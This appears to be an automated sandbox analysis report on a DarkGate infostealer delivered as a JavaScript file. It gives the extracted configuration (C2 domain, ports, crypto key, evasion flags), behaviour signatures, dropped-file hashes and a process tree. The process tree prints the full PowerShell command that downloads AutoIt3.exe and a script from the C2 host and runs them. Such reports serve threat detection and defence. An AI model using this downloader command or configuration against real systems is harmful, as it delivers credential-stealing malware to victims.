Analysis

  • max time kernel
    137s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/11/2023, 01:43

General

  • Target
    eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d.js
  • Size 252KB
  • Sample231109-b5hetaeg5t
  • SHA256 eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkgate

Botnet
  • user_871236672

C2
  • http://8sjimonstersboonkonline.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    false

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    BXQcSgVDRBHnbn

  • internal_mutex

    txtMut

  • minimum_disk

    43

  • minimum_ram

    6000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\eccf555cc4f3293e850fc35377a06d69f04b81192f3f27b645bc4cfb23fc085d.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiqgmovrcg' -OutFile 'qgmovrcg.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'qgmovrcg.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3580
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" qgmovrcg.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:5072

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_li5jnrt3.neb.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_li5jnrt3.neb.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        AutoIt3.exe

        • Path C:\tepp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        AutoIt3.exe

        • Path C:\tepp\AutoIt3.exe
        • Size 872KB
        • SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
        • MD5 SHA1 SHA512 SSDEEP

        qgmovrcg.au3

        • Path C:\tepp\qgmovrcg.au3
        • Size 529KB
        • SHA256 873d0578b78a1a8417ed8b63d400ba29d1fb942c23e9586cb5dcbf1643e560b8
        • MD5 SHA1 SHA512 SSDEEP

        memory/3580-13-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

        memory/3580-12-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

        memory/3580-11-0x000001E3CFB80000-0x000001E3CFB90000-memory.dmp

        memory/3580-10-0x00007FFC70320000-0x00007FFC70DE1000-memory.dmp

        memory/3580-27-0x00007FFC70320000-0x00007FFC70DE1000-memory.dmp

        memory/3580-0-0x000001E3B7960000-0x000001E3B7982000-memory.dmp

        memory/5072-30-0x00000000038A0000-0x00000000039A0000-memory.dmp

        memory/5072-31-0x0000000004340000-0x00000000044D5000-memory.dmp

        memory/5072-32-0x0000000004340000-0x00000000044D5000-memory.dmp